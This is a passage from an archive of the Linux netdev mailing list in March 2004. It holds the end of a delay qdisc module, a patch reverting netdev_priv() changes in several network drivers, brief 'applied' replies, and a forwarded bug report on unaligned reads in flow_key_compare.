dly_dump(struct Qdisc *sch, struct sk_buff *skb) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + unsigned char *b = skb->tail; + struct tc_dly_qopt qopt; + + qopt.latency = q->latency; + qopt.limit = q->limit; + + RTA_PUT(skb, TCA_OPTIONS, sizeof(qopt), &qopt); + + return skb->len; + +rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +static struct Qdisc_ops dly_qdisc_ops = { + .id = "delay", + .priv_size = sizeof(struct dly_sched_data), + .enqueue = dly_enqueue, + .dequeue = dly_dequeue, + .requeue = dly_requeue, + .drop = dly_drop, + .init = dly_init, + .reset = dly_reset, + .destroy = dly_destroy, + .change = dly_change, + .dump = dly_dump, + .owner = THIS_MODULE, +}; + + +static int __init dly_module_init(void) +{ + return register_qdisc(&dly_qdisc_ops); +} +static void __exit dly_module_exit(void) +{ + unregister_qdisc(&dly_qdisc_ops); +} +module_init(dly_module_init) +module_exit(dly_module_exit) +MODULE_LICENSE("GPL"); From rddunlap@osdl.org Thu Mar 18 13:52:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 13:52:35 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ILqSKO014984 for ; Thu, 18 Mar 2004 13:52:29 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2ILqNE04782; Thu, 18 Mar 2004 13:52:23 -0800 Date: Thu, 18 Mar 2004 13:49:41 -0800 From: "Randy.Dunlap" To: netdev Cc: jgarzik Subject: [PATCH] revert some netdev_priv() changes Message-Id: <20040318134941.485da95c.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4105 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 23087 Lines: 699 // linux-2.6.5-rc1-bk3 // These drivers don't use the usual/normal/typical netdevice->priv // storage, so converting them to use netdev_priv() was not the // right thing to do. Back to using dev->priv for them. diffstat:= drivers/net/82596.c | 28 +++++++++++++-------------- drivers/net/fc/iph5526.c | 8 +++---- drivers/net/lasi_82596.c | 36 +++++++++++++++++------------------ drivers/net/pcmcia/com20020_cs.c | 6 ++--- drivers/net/sgiseeq.c | 16 +++++++-------- drivers/net/wan/comx.c | 40 +++++++++++++++++++-------------------- drivers/net/wan/cosa.c | 12 +++++------ 7 files changed, 73 insertions(+), 73 deletions(-) diff -Naurp ./drivers/net/pcmcia/com20020_cs.c~netdev_rev ./drivers/net/pcmcia/com20020_cs.c --- ./drivers/net/pcmcia/com20020_cs.c~netdev_rev 2004-03-18 13:02:28.000000000 -0800 +++ ./drivers/net/pcmcia/com20020_cs.c 2004-03-18 13:23:09.000000000 -0800 @@ -179,7 +179,7 @@ static dev_link_t *com20020_attach(void) memset(info, 0, sizeof(struct com20020_dev_t)); memset(link, 0, sizeof(struct dev_link_t)); - lp = netdev_priv(dev); + lp = dev->priv; lp->timeout = timeout; lp->backplane = backplane; lp->clockp = clockp; @@ -394,7 +394,7 @@ static void com20020_config(dev_link_t * goto failed; } - lp = netdev_priv(dev); + lp = dev->priv; lp->card_name = "PCMCIA COM20020"; lp->card_flags = ARC_CAN_10MBIT; /* pretend all of them can 10Mbit */ @@ -492,7 +492,7 @@ static int com20020_event(event_t event, pcmcia_request_configuration(link->handle, &link->conf); if (link->open) { int ioaddr = dev->base_addr; - struct arcnet_local *lp = netdev_priv(dev); + struct arcnet_local *lp = dev->priv; ARCRESET; } } diff -Naurp ./drivers/net/wan/comx.c~netdev_rev ./drivers/net/wan/comx.c --- ./drivers/net/wan/comx.c~netdev_rev 2004-03-18 13:02:29.000000000 -0800 +++ ./drivers/net/wan/comx.c 2004-03-18 13:27:11.000000000 -0800 @@ -119,7 +119,7 @@ struct comx_debugflags_struct comx_debug int comx_debug(struct net_device *dev, char *fmt, ...) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; char *page,*str; va_list args; int len; @@ -162,7 +162,7 @@ int comx_debug(struct net_device *dev, c int comx_debug_skb(struct net_device *dev, struct sk_buff *skb, char *msg) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; if (!ch->debug_area) return 0; if (!skb) comx_debug(dev, "%s: %s NULL skb\n\n", dev->name, msg); @@ -175,7 +175,7 @@ int comx_debug_bytes(struct net_device * char *msg) { int pos = 0; - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; if (!ch->debug_area) return 0; @@ -207,7 +207,7 @@ int comx_debug_bytes(struct net_device * static void comx_loadavg_timerfun(unsigned long d) { struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; ch->avg_bytes[ch->loadavg_counter] = ch->current_stats->rx_bytes; ch->avg_bytes[ch->loadavg_counter + ch->loadavg_size] = @@ -222,7 +222,7 @@ static void comx_loadavg_timerfun(unsign static void comx_reset_timerfun(unsigned long d) { struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; if(!(ch->line_status & (PROTO_LOOP | PROTO_UP))) { if(test_and_set_bit(0,&ch->reset_pending) && ch->HW_reset) { @@ -236,7 +236,7 @@ static void comx_reset_timerfun(unsigned static int comx_open(struct net_device *dev) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; struct proc_dir_entry *comxdir = ch->procdir->subdir; int ret=0; @@ -268,7 +268,7 @@ static int comx_open(struct net_device * static int comx_close(struct net_device *dev) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; struct proc_dir_entry *comxdir = ch->procdir->subdir; int ret = -ENODEV; @@ -303,7 +303,7 @@ static int comx_close(struct net_device void comx_status(struct net_device *dev, int status) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; #if 0 if(status & (PROTO_UP | PROTO_LOOP)) { @@ -321,7 +321,7 @@ void comx_status(struct net_device *dev, static int comx_xmit(struct sk_buff *skb, struct net_device *dev) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; int rc; if (skb->len > dev->mtu + dev->hard_header_len) { @@ -342,7 +342,7 @@ static int comx_xmit(struct sk_buff *skb static int comx_header(struct sk_buff *skb, struct net_device *dev, unsigned short type, void *daddr, void *saddr, unsigned len) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; if (ch->LINE_header) { return (ch->LINE_header(skb, dev, type, daddr, saddr, len)); @@ -354,7 +354,7 @@ static int comx_header(struct sk_buff *s static int comx_rebuild_header(struct sk_buff *skb) { struct net_device *dev = skb->dev; - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; if (ch->LINE_rebuild_header) { return(ch->LINE_rebuild_header(skb)); @@ -365,7 +365,7 @@ static int comx_rebuild_header(struct sk int comx_rx(struct net_device *dev, struct sk_buff *skb) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; if (ch->debug_flags & DEBUG_COMX_RX) { comx_debug_skb(dev, skb, "comx_rx skb"); @@ -379,7 +379,7 @@ int comx_rx(struct net_device *dev, stru static struct net_device_stats *comx_stats(struct net_device *dev) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; return ch->current_stats; } @@ -387,7 +387,7 @@ static struct net_device_stats *comx_sta void comx_lineup_func(unsigned long d) { struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; del_timer(&ch->lineup_timer); clear_bit(0, &ch->lineup_pending); @@ -405,7 +405,7 @@ void comx_lineup_func(unsigned long d) static int comx_statistics(struct net_device *dev, char *page) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; int len = 0; int tmp; int i = 0; @@ -472,7 +472,7 @@ static int comx_statistics(struct net_de static int comx_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; if (ch->LINE_ioctl) { return(ch->LINE_ioctl(dev, ifr, cmd)); @@ -535,7 +535,7 @@ static int comx_read_proc(char *page, ch { struct proc_dir_entry *file = (struct proc_dir_entry *)data; struct net_device *dev = file->parent->data; - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; int len = 0; if (strcmp(file->name, FILENAME_STATUS) == 0) { @@ -599,7 +599,7 @@ static int comx_write_proc(struct file * { struct proc_dir_entry *entry = (struct proc_dir_entry *)data; struct net_device *dev = (struct net_device *)entry->parent->data; - struct comx_channel *ch = netdev_priv(dev); + struct comx_channel *ch = dev->priv; char *page; struct comx_hardware *hw = comx_channels; struct comx_protocol *line = comx_lines; @@ -821,7 +821,7 @@ static int comx_mkdir(struct inode *dir, if (register_netdevice(dev)) { goto cleanup_filename_debug; } - ch = netdev_priv(dev); + ch = dev->priv; if((ch->if_ptr = (void *)kmalloc(sizeof(struct ppp_device), GFP_KERNEL)) == NULL) { goto cleanup_register; @@ -874,7 +874,7 @@ static int comx_rmdir(struct inode *dir, lock_kernel(); dev = entry->data; - ch = netdev_priv(dev); + ch = dev->priv; if (dev->flags & IFF_UP) { printk(KERN_ERR "%s: down interface before removing it\n", dev->name); unlock_kernel(); diff -Naurp ./drivers/net/wan/cosa.c~netdev_rev ./drivers/net/wan/cosa.c --- ./drivers/net/wan/cosa.c~netdev_rev 2004-03-18 13:02:29.000000000 -0800 +++ ./drivers/net/wan/cosa.c 2004-03-18 13:29:45.000000000 -0800 @@ -639,7 +639,7 @@ static void sppp_channel_delete(struct c static int cosa_sppp_open(struct net_device *d) { - struct channel_data *chan = netdev_priv(d); + struct channel_data *chan = d->priv; int err; unsigned long flags; @@ -679,7 +679,7 @@ static int cosa_sppp_open(struct net_dev static int cosa_sppp_tx(struct sk_buff *skb, struct net_device *dev) { - struct channel_data *chan = netdev_priv(dev); + struct channel_data *chan = dev->priv; netif_stop_queue(dev); @@ -690,7 +690,7 @@ static int cosa_sppp_tx(struct sk_buff * static void cosa_sppp_timeout(struct net_device *dev) { - struct channel_data *chan = netdev_priv(dev); + struct channel_data *chan = dev->priv; if (test_bit(RXBIT, &chan->cosa->rxtx)) { chan->stats.rx_errors++; @@ -709,7 +709,7 @@ static void cosa_sppp_timeout(struct net static int cosa_sppp_close(struct net_device *d) { - struct channel_data *chan = netdev_priv(d); + struct channel_data *chan = d->priv; unsigned long flags; netif_stop_queue(d); @@ -789,7 +789,7 @@ static int sppp_tx_done(struct channel_d static struct net_device_stats *cosa_net_stats(struct net_device *dev) { - struct channel_data *chan = netdev_priv(dev); + struct channel_data *chan = dev->priv; return &chan->stats; } @@ -1205,7 +1205,7 @@ static int cosa_sppp_ioctl(struct net_de int cmd) { int rv; - struct channel_data *chan = netdev_priv(dev); + struct channel_data *chan = dev->priv; rv = cosa_ioctl_common(chan->cosa, chan, cmd, (unsigned long)ifr->ifr_data); if (rv == -ENOIOCTLCMD) { return sppp_do_ioctl(dev, ifr, cmd); diff -Naurp ./drivers/net/fc/iph5526.c~netdev_rev ./drivers/net/fc/iph5526.c --- ./drivers/net/fc/iph5526.c~netdev_rev 2004-03-18 13:02:27.000000000 -0800 +++ ./drivers/net/fc/iph5526.c 2004-03-18 13:16:32.000000000 -0800 @@ -238,7 +238,7 @@ int __init iph5526_probe(struct net_devi static int __init iph5526_probe_pci(struct net_device *dev) { - struct fc_info *fi = netdev_priv(dev); + struct fc_info *fi = dev->priv; fi->dev = dev; dev->base_addr = fi->base_addr; dev->irq = fi->irq; @@ -2908,7 +2908,7 @@ static int iph5526_close(struct net_devi static void iph5526_timeout(struct net_device *dev) { - struct fc_info *fi = netdev_priv(dev); + struct fc_info *fi = dev->priv; printk(KERN_WARNING "%s: timed out on send.\n", dev->name); fi->fc_stats.rx_dropped++; dev->trans_start = jiffies; @@ -2917,7 +2917,7 @@ static void iph5526_timeout(struct net_d static int iph5526_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct fc_info *fi = netdev_priv(dev); + struct fc_info *fi = dev->priv; int status = 0; short type = 0; u_long flags; @@ -3688,7 +3688,7 @@ int count = 0, j; static struct net_device_stats * iph5526_get_stats(struct net_device *dev) { -struct fc_info *fi = netdev_priv(dev); +struct fc_info *fi = dev->priv; return (struct net_device_stats *) &fi->fc_stats; } diff -Naurp ./drivers/net/82596.c~netdev_rev ./drivers/net/82596.c --- ./drivers/net/82596.c~netdev_rev 2004-03-18 13:02:27.000000000 -0800 +++ ./drivers/net/82596.c 2004-03-18 13:14:48.000000000 -0800 @@ -458,7 +458,7 @@ static inline int wait_cfg(struct net_de static void i596_display_data(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; struct i596_cmd *cmd; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -528,7 +528,7 @@ static irqreturn_t i596_error(int irq, v static inline void init_rx_bufs(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; int i; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -579,7 +579,7 @@ static inline void init_rx_bufs(struct n static inline void remove_rx_bufs(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; struct i596_rbd *rbd; int i; @@ -593,7 +593,7 @@ static inline void remove_rx_bufs(struct static void rebuild_rx_bufs(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; int i; /* Ensure rx frame/buffer descriptors are tidy */ @@ -612,7 +612,7 @@ static void rebuild_rx_bufs(struct net_d static int init_i596_mem(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; #if !defined(ENABLE_MVME16x_NET) && !defined(ENABLE_BVME6000_NET) short ioaddr = dev->base_addr; #endif @@ -765,7 +765,7 @@ failed: static inline int i596_rx(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; struct i596_rfd *rfd; struct i596_rbd *rbd; int frames = 0; @@ -960,7 +960,7 @@ static inline void i596_reset(struct net static void i596_add_cmd(struct net_device *dev, struct i596_cmd *cmd) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; int ioaddr = dev->base_addr; unsigned long flags; @@ -1030,7 +1030,7 @@ static int i596_open(struct net_device * static void i596_tx_timeout (struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; int ioaddr = dev->base_addr; /* Transmitter timeout, serious problems. */ @@ -1059,7 +1059,7 @@ static void i596_tx_timeout (struct net_ static int i596_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; struct tx_cmd *tx_cmd; struct i596_tbd *tbd; short length = skb->len; @@ -1245,7 +1245,7 @@ struct net_device * __init i82596_probe( dev->priv = (void *)(dev->mem_start); - lp = netdev_priv(dev); + lp = dev->priv; DEB(DEB_INIT,printk(KERN_DEBUG "%s: lp at 0x%08lx (%d bytes), lp->scb at 0x%08lx\n", dev->name, (unsigned long)lp, sizeof(struct i596_private), (unsigned long)&lp->scb)); @@ -1305,7 +1305,7 @@ static irqreturn_t i596_interrupt(int ir } ioaddr = dev->base_addr; - lp = netdev_priv(dev); + lp = dev->priv; spin_lock (&lp->lock); @@ -1448,7 +1448,7 @@ static irqreturn_t i596_interrupt(int ir static int i596_close(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; unsigned long flags; netif_stop_queue(dev); @@ -1495,7 +1495,7 @@ static int i596_close(struct net_device static struct net_device_stats * i596_get_stats(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; return &lp->stats; } @@ -1506,7 +1506,7 @@ static struct net_device_stats * static void set_multicast_list(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; int config = 0, cnt; DEB(DEB_MULTI,printk(KERN_DEBUG "%s: set multicast list, %d entries, promisc %s, allmulti %s\n", diff -Naurp ./drivers/net/lasi_82596.c~netdev_rev ./drivers/net/lasi_82596.c --- ./drivers/net/lasi_82596.c~netdev_rev 2004-03-18 13:02:28.000000000 -0800 +++ ./drivers/net/lasi_82596.c 2004-03-18 13:19:49.000000000 -0800 @@ -426,7 +426,7 @@ static inline void CA(struct net_device static inline void MPU_PORT(struct net_device *dev, int c, dma_addr_t x) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; u32 v = (u32) (c) | (u32) (x); u16 a, b; @@ -481,7 +481,7 @@ static inline int wait_cmd(struct net_de static void i596_display_data(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; struct i596_cmd *cmd; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -541,7 +541,7 @@ static void i596_error(int irq, void *de static inline void init_rx_bufs(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; int i; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -595,7 +595,7 @@ static inline void init_rx_bufs(struct n static inline void remove_rx_bufs(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; struct i596_rbd *rbd; int i; @@ -612,7 +612,7 @@ static inline void remove_rx_bufs(struct static void rebuild_rx_bufs(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; int i; /* Ensure rx frame/buffer descriptors are tidy */ @@ -633,7 +633,7 @@ static void rebuild_rx_bufs(struct net_d static int init_i596_mem(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; unsigned long flags; disable_irq(dev->irq); /* disable IRQs from LAN */ @@ -727,7 +727,7 @@ failed: static inline int i596_rx(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; struct i596_rfd *rfd; struct i596_rbd *rbd; int frames = 0; @@ -940,7 +940,7 @@ static inline void i596_reset(struct net static void i596_add_cmd(struct net_device *dev, struct i596_cmd *cmd) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; unsigned long flags; DEB(DEB_ADDCMD,printk("i596_add_cmd cmd_head %p\n", lp->cmd_head)); @@ -988,7 +988,7 @@ static void i596_add_cmd(struct net_devi device list */ static int i596_test(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; volatile int *tint; u32 data; @@ -1042,7 +1042,7 @@ out: static void i596_tx_timeout (struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; /* Transmitter timeout, serious problems. */ DEB(DEB_ERRORS,printk("%s: transmit timed out, status resetting.\n", @@ -1071,7 +1071,7 @@ static void i596_tx_timeout (struct net_ static int i596_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; struct tx_cmd *tx_cmd; struct i596_tbd *tbd; short length = skb->len; @@ -1220,7 +1220,7 @@ static int __devinit i82596_probe(struct dev->priv = (void *)(dev->mem_start); - lp = netdev_priv(dev); + lp = dev->priv; DEB(DEB_INIT,printk ("%s: lp at 0x%08lx (%d bytes), lp->scb at 0x%08lx\n", dev->name, (unsigned long)lp, sizeof(struct i596_private), (unsigned long)&lp->scb)); @@ -1250,7 +1250,7 @@ static irqreturn_t i596_interrupt(int ir return IRQ_NONE; } - lp = netdev_priv(dev); + lp = dev->priv; spin_lock (&lp->lock); @@ -1396,7 +1396,7 @@ static irqreturn_t i596_interrupt(int ir static int i596_close(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; unsigned long flags; netif_stop_queue(dev); @@ -1430,7 +1430,7 @@ static int i596_close(struct net_device static struct net_device_stats * i596_get_stats(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; return &lp->stats; } @@ -1441,7 +1441,7 @@ static struct net_device_stats * static void set_multicast_list(struct net_device *dev) { - struct i596_private *lp = netdev_priv(dev); + struct i596_private *lp = dev->priv; int config = 0, cnt; DEB(DEB_MULTI,printk("%s: set multicast list, %d entries, promisc %s, allmulti %s\n", dev->name, dev->mc_count, dev->flags & IFF_PROMISC ? "ON" : "OFF", dev->flags & IFF_ALLMULTI ? "ON" : "OFF")); @@ -1541,7 +1541,7 @@ lan_init_chip(struct parisc_device *dev) retval = register_netdev(netdevice); if (retval) { - struct i596_private *lp = netdev_priv(netdevice); + struct i596_private *lp = netdevice->priv; printk(KERN_WARNING __FILE__ ": register_netdevice ret'd %d\n", retval); dma_free_noncoherent(lp->dev, sizeof(struct i596_private), (void *)netdevice->mem_start, lp->dma_addr); @@ -1595,7 +1595,7 @@ static void __exit lasi_82596_exit(void) unregister_netdev(netdevice); - lp = netdev_priv(netdevice); + lp = netdevice->priv; dma_free_noncoherent(lp->dev, sizeof(struct i596_private), (void *)netdevice->mem_start, lp->dma_addr); free_netdev(netdevice); diff -Naurp ./drivers/net/sgiseeq.c~netdev_rev ./drivers/net/sgiseeq.c --- ./drivers/net/sgiseeq.c~netdev_rev 2004-03-18 13:02:28.000000000 -0800 +++ ./drivers/net/sgiseeq.c 2004-03-18 13:24:32.000000000 -0800 @@ -151,7 +151,7 @@ static inline void seeq_load_eaddr(struc static int seeq_init_ring(struct net_device *dev) { - struct sgiseeq_private *sp = netdev_priv(dev); + struct sgiseeq_private *sp = dev->priv; volatile struct sgiseeq_init_block *ib = &sp->srings; int i; @@ -423,7 +423,7 @@ static inline void sgiseeq_tx(struct net static irqreturn_t sgiseeq_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct sgiseeq_private *sp = netdev_priv(dev); + struct sgiseeq_private *sp = dev->priv; struct hpc3_ethregs *hregs = sp->hregs; struct sgiseeq_regs *sregs = sp->sregs; @@ -445,7 +445,7 @@ static irqreturn_t sgiseeq_interrupt(int static int sgiseeq_open(struct net_device *dev) { - struct sgiseeq_private *sp = netdev_priv(dev); + struct sgiseeq_private *sp = dev->priv; struct sgiseeq_regs *sregs = sp->sregs; int err = init_seeq(dev, sp, sregs); @@ -459,7 +459,7 @@ static int sgiseeq_open(struct net_devic static int sgiseeq_close(struct net_device *dev) { - struct sgiseeq_private *sp = netdev_priv(dev); + struct sgiseeq_private *sp = dev->priv; struct sgiseeq_regs *sregs = sp->sregs; netif_stop_queue(dev); @@ -472,7 +472,7 @@ static int sgiseeq_close(struct net_devi static inline int sgiseeq_reset(struct net_device *dev) { - struct sgiseeq_private *sp = netdev_priv(dev); + struct sgiseeq_private *sp = dev->priv; struct sgiseeq_regs *sregs = sp->sregs; int err; @@ -494,7 +494,7 @@ void sgiseeq_my_reset(void) static int sgiseeq_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct sgiseeq_private *sp = netdev_priv(dev); + struct sgiseeq_private *sp = dev->priv; struct hpc3_ethregs *hregs = sp->hregs; unsigned long flags; struct sgiseeq_tx_desc *td; @@ -560,7 +560,7 @@ static void timeout(struct net_device *d static struct net_device_stats *sgiseeq_get_stats(struct net_device *dev) { - struct sgiseeq_private *sp = netdev_priv(dev); + struct sgiseeq_private *sp = dev->priv; return &sp->stats; } @@ -710,7 +710,7 @@ static void __exit sgiseeq_exit(void) struct net_device *next, *dev = root_sgiseeq_dev; while (dev) { - sp = netdev_priv(dev); + sp = dev->priv; next = sp->next_module; unregister_netdev(dev); free_irq(dev->irq, dev); -- ~Randy From jgarzik@pobox.com Thu Mar 18 14:18:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 14:18:47 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IMIhKO016088 for ; Thu, 18 Mar 2004 14:18:43 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B45qb-0000Er-Ab; Thu, 18 Mar 2004 22:18:41 +0000 Message-ID: <405A2032.9080103@pobox.com> Date: Thu, 18 Mar 2004 17:18:26 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Luis R. Rodriguez" CC: "Luis R. Rodriguez" , netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [PATCH] prism54 tree sync update References: <20040317063659.GC24063@ruslug.rutgers.edu> <40581F1D.5090704@pobox.com> <20040318060718.GE19391@ruslug.rutgers.edu> In-Reply-To: <20040318060718.GE19391@ruslug.rutgers.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4106 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Thu Mar 18 14:18:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 14:18:54 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IMIqKO016132 for ; Thu, 18 Mar 2004 14:18:53 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B45ql-0000Ew-QH; Thu, 18 Mar 2004 22:18:51 +0000 Message-ID: <405A2040.5050004@pobox.com> Date: Thu, 18 Mar 2004 17:18:40 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev Subject: Re: [PATCH] revert some netdev_priv() changes References: <20040318134941.485da95c.rddunlap@osdl.org> In-Reply-To: <20040318134941.485da95c.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4107 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From akpm@osdl.org Thu Mar 18 16:27:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 16:27:07 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J0R2KO024528 for ; Thu, 18 Mar 2004 16:27:03 -0800 Received: from akpm.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2J0QtE16786 for ; Thu, 18 Mar 2004 16:26:55 -0800 Date: Thu, 18 Mar 2004 16:29:03 -0800 From: Andrew Morton To: netdev@oss.sgi.com Subject: Fw: [BUG] alignment problem in net/core/flow.c:flow_key_compare Message-Id: <20040318162903.59192d13.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2J0R2KO024528 X-archive-position: 4108 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 1081 Lines: 31 This is in 2.6.4: Begin forwarded message: Date: Thu, 18 Mar 2004 11:53:02 +0100 From: mru@kth.se (Måns Rullgård) To: linux-kernel@vger.kernel.org Subject: [BUG] alignment problem in net/core/flow.c:flow_key_compare There is a problem with alignment in the flow_key_compare function in net/core/flow.c. It takes arguments of type struct flowi * and casts them to flow_compare_t *, which is 64 bits on 64-bit machines. It then proceeds to read and compare 64-bit values from these pointers. The problem is that struct flowi only requires 32-bit alignment, so these reads cause numerous unaligned exceptions. On average, I get nearly 1000 unaligned exceptions per second. The solutions I see are either to force the alignment of struct flowi to 64 bits, or to use 32-bit access in flow_key_compare. -- Måns Rullgård mru@kth.se - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From yoshfuji@linux-ipv6.org Thu Mar 18 18:53:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 18:53:40 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2J2rYKO029666 for ; Thu, 18 Mar 2004 18:53:35 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 